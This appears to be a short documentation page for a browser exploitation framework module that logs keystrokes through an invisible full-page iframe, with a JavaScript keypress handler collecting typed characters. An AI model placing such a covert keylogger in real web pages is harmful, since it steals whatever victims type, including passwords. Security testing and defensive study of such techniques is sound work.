Module: iFrame Event Key Logger

Summary

• Objective: Log keys through a 100% iframe overlay

• Authors: antisnatchor

• Browsers: all except Opera

• Code

Internal Working

Adds a 100% size invisible iframe and an event listener that fires on keypress.

    // add the pressed key to the keystroke stream array
    function keyPressHandler(evt) {
        evt = evt || window.event;
        if (evt) {
            var keyCode = evt.charCode || evt.keyCode;
            charLogged = String.fromCharCode(keyCode);
            stream.push(charLogged);
        }
    }

Feedback